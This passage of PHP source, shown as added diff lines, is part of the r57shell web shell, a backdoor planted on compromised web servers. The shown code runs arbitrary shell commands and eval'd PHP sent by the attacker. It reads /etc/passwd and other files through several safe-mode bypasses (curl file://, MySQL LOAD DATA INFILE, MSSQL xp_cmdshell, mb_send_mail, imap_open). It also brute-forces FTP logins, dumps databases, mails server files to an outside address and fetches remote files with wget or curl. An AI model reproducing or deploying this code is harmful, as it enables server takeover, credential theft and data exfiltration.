list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function up_down($id) + { + global $lang; + global $language; + return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; + } +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text777'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text888'].$arrow."</b>",in('text','u1p',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text7777'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text8888'].$arrow."</b>",in('text','Mohajer22',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text999'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text9999'].$arrow."</b>","<select name=switch><option value=file>View file</option><option value=dir>View dir</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','string',60,(($_POST['string'])?($_POST['string']):("/etc/passwd"))).ws(2)."<b>".in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text1010'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text101010'].$arrow."</b>","<select name=plugin><option>cat /etc/passwd</option><option>/bin/ls</option><option>tempnam</option><option>/tmp</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):(""))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):(""))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; + +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.$lang[$language.'_text112'].up_down('id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.$lang[$language.'_text113'].up_down('id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.$lang[$language.'_text114'].up_down('id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' 